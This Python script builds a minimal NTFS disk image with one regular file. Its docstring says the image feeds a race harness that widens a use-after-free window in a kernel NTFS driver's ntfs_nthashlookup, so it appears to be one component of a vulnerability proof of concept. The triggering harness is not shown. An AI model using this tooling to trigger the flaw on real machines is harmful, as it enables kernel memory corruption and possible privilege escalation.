DF-0930 / craft_ntfs_file.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 | #!/usr/bin/env python3 """ DF-0930 NTFS image crafter. Builds a minimal, mountable NTFS filesystem image from scratch (no mkntfs) that contains a REGULAR FILE "target" (inode 32) in the root directory. This lets the race harness drive concurrent ntfs_ntlookup(ntmp, 32, &ip) calls through open("/mnt/ntfs/target") on two pinned CPUs, while a churn thread forces vnode reclaim -> ntfs_reclaim -> ntfs_ntput -> kfree(ip) to widen the UAF window in ntfs_nthashlookup (ntfs_ihash.c:100-102). The image is well-formed everywhere (no other NTFS bugs are exercised). Geometry: bps=512, spc=8 (4096-byte cluster), mftrecsz=0xF6 => 1024-byte MFT records. Layout: MFT record 0 ($MFT) โ self-referential $DATA run MFT record 4 ($AttrDef) โ two benign records + terminator MFT record 5 (root dir) โ $INDEX_ROOT with "target" entry + LAST MFT record 6 ($Bitmap) โ allocation bitmap MFT record 10 ($UpCase) โ non-resident 128 KB upcase table MFT record 32 ("target") โ $STD_INFO + $FILE_NAME + $DATA (resident) Usage: craft_ntfs_file.py [out.img] """ import struct, sys # ---- geometry ---- BPS = 512 SPC = 8 CLU = BPS * SPC # 4096 MFTRECSZ = 0xF6 # -10 => 2**10 = 1024 RECSZ = 1024 NCLUSTERS = 128 # 512 KB volume MFTCN = 2 UPCASE_CN = 34 UPCASE_NCLU = 32 # 131072 B = 65536 wchars TARGET_INO = 32 ROOT_INO = 5 FILE_MAGIC = 0x454C4946 # "FILE" FIXUP_OFF = 0x30 FIXUP_VAL = 0xA001 A_STD = 0x10 A_NAME = 0x30 A_DATA = 0x80 A_INDXROOT = 0x90 A_ATTRDEF = 0x80 # $AttrDef uses $DATA attribute type 0x80 on its MFT rec ATTRDEF_RECSZ = 160 NAME_WCHARS = 64 NTFS_FRFLAG_DIR = 0x0002 NTFS_IEFLAG_LAST = 0x00000002 def le16(v): return struct.pack("<H", v & 0xFFFF) def le32(v): return struct.pack("<I", v & 0xFFFFFFFF) def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF) def boot_sector(): b = bytearray(BPS) b[0:3] = b"\xEB\x52\x90" b[3:11] = b"NTFS " struct.pack_into("<H", b, 11, BPS) b[13] = SPC b[21] = 0xF8 struct.pack_into("<H", b, 24, 32) struct.pack_into("<H", b, 26, 2) struct.pack_into("<Q", b, 40, NCLUSTERS * SPC) struct.pack_into("<Q", b, 48, MFTCN) struct.pack_into("<Q", b, 56, 64) b[64] = MFTRECSZ struct.pack_into("<I", b, 65, 4096) struct.pack_into("<I", b, 69, 0xDEADBEEF) return bytes(b) def resident_attr(atype, datalen, data, name="", reclen_pad=8): wname = name.encode("utf-16-le") if name else b"" namelen = len(name) nameoff = 0x18 dataoff = nameoff + len(wname) reclen = dataoff + datalen reclen = (reclen + reclen_pad - 1) & ~(reclen_pad - 1) buf = bytearray(reclen) struct.pack_into("<I", buf, 0, atype) struct.pack_into("<I", buf, 4, reclen) buf[8] = 0 # non-resident flag = 0 (resident) buf[9] = namelen buf[10] = nameoff & 0xFF buf[11] = 0 struct.pack_into("<H", buf, 16, datalen) struct.pack_into("<H", buf, 20, dataoff) buf[nameoff:dataoff] = wname buf[dataoff:dataoff + len(data)] = data[:datalen] return bytes(buf) def nonresident_data_attr(runs_bytes, allocated, datalen): dataoff = 0x40 reclen = dataoff + len(runs_bytes) reclen = (reclen + 7) & ~7 buf = bytearray(reclen) struct.pack_into("<I", buf, 0, A_DATA) struct.pack_into("<I", buf, 4, reclen) buf[8] = 0x01 # non-resident buf[10] = dataoff & 0xFF ncu = datalen // CLU struct.pack_into("<Q", buf, 24, ncu - 1) struct.pack_into("<H", buf, 32, dataoff) struct.pack_into("<Q", buf, 40, allocated) struct.pack_into("<Q", buf, 48, datalen) struct.pack_into("<Q", buf, 56, datalen) buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes return bytes(buf) def term_attr(): b = bytearray(8) struct.pack_into("<I", b, 0, 0xFFFFFFFF) return bytes(b) def mft_record(seqnum, nlink, flags, attrs_bytes): rec = bytearray(RECSZ) struct.pack_into("<I", rec, 0, FILE_MAGIC) struct.pack_into("<H", rec, 4, FIXUP_OFF) struct.pack_into("<H", rec, 6, RECSZ // BPS + 1) struct.pack_into("<H", rec, 16, seqnum) struct.pack_into("<H", rec, 18, nlink) attroff = 0x38 struct.pack_into("<H", rec, 20, attroff) struct.pack_into("<H", rec, 22, flags) used = attroff + len(attrs_bytes) struct.pack_into("<I", rec, 24, used) struct.pack_into("<I", rec, 28, RECSZ) struct.pack_into("<H", rec, FIXUP_OFF, FIXUP_VAL) struct.pack_into("<H", rec, FIXUP_OFF + 2, FIXUP_VAL) struct.pack_into("<H", rec, FIXUP_OFF + 4, FIXUP_VAL) rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL) struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL) return bytes(rec) def benign_attrdef_records(): """Two well-formed 160-byte attrdef records (short NUL-terminated names) + one all-zero terminator.""" out = bytearray() for name, atype in [("$STANDARD_INFORMATION", A_STD), ("$FILE_NAME", A_NAME)]: e = bytearray(ATTRDEF_RECSZ) for i, ch in enumerate(name): struct.pack_into("<H", e, i * 2, ord(ch)) struct.pack_into("<I", e, 128, atype) # ad_type out += e out += bytearray(ATTRDEF_RECSZ) # all-zero terminator return bytes(out) def index_entry_file(ino, parent_ino, name_str): """Build a non-LAST $INDEX_ENTRY for a file with the given name. On-disk layout matches struct attr_indexentry.""" wname = name_str.encode("utf-16-le") namelen = len(name_str) # Fixed part: ie_number(4)+unknown1(4)+reclen(2)+ie_size(2)+ie_flag(4) = 16 # Then $FILE_NAME body: parent_ref(8)+times(32)+alloc(8)+size(8)+flags(8) # +fnamelen(1)+fnametype(1)+fname(namelen*2) fname_body = 8 + 32 + 8 + 8 + 8 + 1 + 1 + len(wname) total = 16 + fname_body total = (total + 7) & ~7 # 8-byte align buf = bytearray(total) struct.pack_into("<I", buf, 0, ino) # ie_number struct.pack_into("<I", buf, 4, 0) # unknown1 struct.pack_into("<H", buf, 8, total) # reclen struct.pack_into("<H", buf, 10, total) # ie_size struct.pack_into("<I", buf, 12, 0) # ie_flag (not LAST) # $FILE_NAME body starts at offset 16: struct.pack_into("<I", buf, 16, parent_ino) # ie_fpnumber (parent inode low) struct.pack_into("<I", buf, 20, 0) # unknown2 (parent seq) # ie_ftimes at offset 24: 32 bytes of zeros (already zero) # ie_fallocated at 56, ie_fsize at 64, ie_fflag at 72: zeros struct.pack_into("<B", buf, 80, namelen) # ie_fnamelen struct.pack_into("<B", buf, 81, 0) # ie_fnametype (POSIX) buf[82:82 + len(wname)] = wname # ie_fname return bytes(buf) def index_entry_last(): """Minimal LAST entry: just enough for ie_flag=LAST.""" total = 24 # padded to 8 buf = bytearray(total) struct.pack_into("<H", buf, 8, total) # reclen struct.pack_into("<H", buf, 10, total) # ie_size struct.pack_into("<I", buf, 12, NTFS_IEFLAG_LAST) # ie_flag = LAST return bytes(buf) def index_root_with_file(): """$INDEX_ROOT attribute data for root dir: header + "target" entry + LAST.""" # attr_indexroot header (32 bytes) hdr = bytearray(32) struct.pack_into("<I", hdr, 0, 0x30) # ir_unkn1 (attr type for index) struct.pack_into("<I", hdr, 4, 0x01) # ir_unkn2 (collation) ir_size = 4096 # bytes per index buffer struct.pack_into("<I", hdr, 8, ir_size) # ir_size struct.pack_into("<I", hdr, 12, 1) # ir_unkn3 (clusters per idx buf) struct.pack_into("<I", hdr, 16, 0x10) # ir_unkn4 entries = index_entry_file(TARGET_INO, ROOT_INO, "target") + index_entry_last() used = 32 + len(entries) struct.pack_into("<I", hdr, 20, used) # ir_datalen struct.pack_into("<I", hdr, 24, used) # ir_allocated struct.pack_into("<H", hdr, 28, 0x01) # ir_flag return bytes(hdr) + entries def std_information(): """$STANDARD_INFORMATION body: 72 bytes (timestamps + etc).""" return b"\x00" * 72 def file_name_attr_body(parent_ino, name_str): """$FILE_NAME attribute body (resident data of a $FILE_NAME attribute).""" wname = name_str.encode("utf-16-le") buf = bytearray(8 + 32 + 8 + 8 + 8 + 1 + 1 + len(wname)) struct.pack_into("<I", buf, 0, parent_ino) # parent inode ref (low) struct.pack_into("<I", buf, 4, 0) # parent seq # times at offset 8: 32 bytes zeros struct.pack_into("<B", buf, 66, len(name_str)) # name length (chars) struct.pack_into("<B", buf, 67, 0) # namespace (POSIX) buf[68:68 + len(wname)] = wname return bytes(buf) def upcase_table(): return b"".join(struct.pack("<H", i) for i in range(65536)) def runs_encode(cluster, length): return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00]) def build(out_path): img = bytearray(NCLUSTERS * CLU) img[0:BPS] = boot_sector() # --- MFT record 0: $MFT (self-referential data run pointing to MFTCN) --- runs0 = runs_encode(MFTCN, NCLUSTERS) # crude: whole MFT area as one run rec0 = mft_record(1, 1, 0, nonresident_data_attr(runs0, NCLUSTERS * CLU, NCLUSTERS * CLU) + term_attr()) off = MFTCN * CLU + 0 * RECSZ img[off:off + RECSZ] = rec0 # --- MFT record 4: $AttrDef (benign) --- ad = benign_attrdef_records() rec4 = mft_record(1, 1, 0, resident_attr(A_DATA, len(ad), ad) + term_attr()) off = MFTCN * CLU + 4 * RECSZ img[off:off + RECSZ] = rec4 # --- MFT record 5: root dir with "target" entry --- iroot = index_root_with_file() rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30") + term_attr()) off = MFTCN * CLU + 5 * RECSZ img[off:off + RECSZ] = rec5 # --- MFT record 6: $Bitmap --- bmp = b"\xFF" * 16 rec6 = mft_record(1, 1, 0, resident_attr(A_DATA, len(bmp), bmp) + term_attr()) off = MFTCN * CLU + 6 * RECSZ img[off:off + RECSZ] = rec6 # --- MFT record 10: $UpCase (non-resident 128 KB) --- runs = runs_encode(UPCASE_CN, UPCASE_NCLU) nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU) rec10 = mft_record(1, 1, 0, nr + term_attr()) off = MFTCN * CLU + 10 * RECSZ img[off:off + RECSZ] = rec10 uo = UPCASE_CN * CLU img[uo:uo + UPCASE_NCLU * CLU] = upcase_table() # --- MFT record 32: "target" regular file --- stdi = std_information() fn_body = file_name_attr_body(ROOT_INO, "target") file_data = b"DF0930\n" attrs32 = (resident_attr(A_STD, len(stdi), stdi) + resident_attr(A_NAME, len(fn_body), fn_body) + resident_attr(A_DATA, len(file_data), file_data) + term_attr()) rec32 = mft_record(1, 1, 0, attrs32) off = MFTCN * CLU + TARGET_INO * RECSZ img[off:off + RECSZ] = rec32 with open(out_path, "wb") as f: f.write(img) print(f"[+] wrote {out_path} ({len(img)} bytes)") print(f"[+] root dir $INDEX_ROOT has 'target' -> inode {TARGET_INO}") print(f"[+] MFT record {TARGET_INO} = regular file 'target' with $STD/$NAME/$DATA") if __name__ == "__main__": build(sys.argv[1] if len(sys.argv) > 1 else "ntfs_file.img") |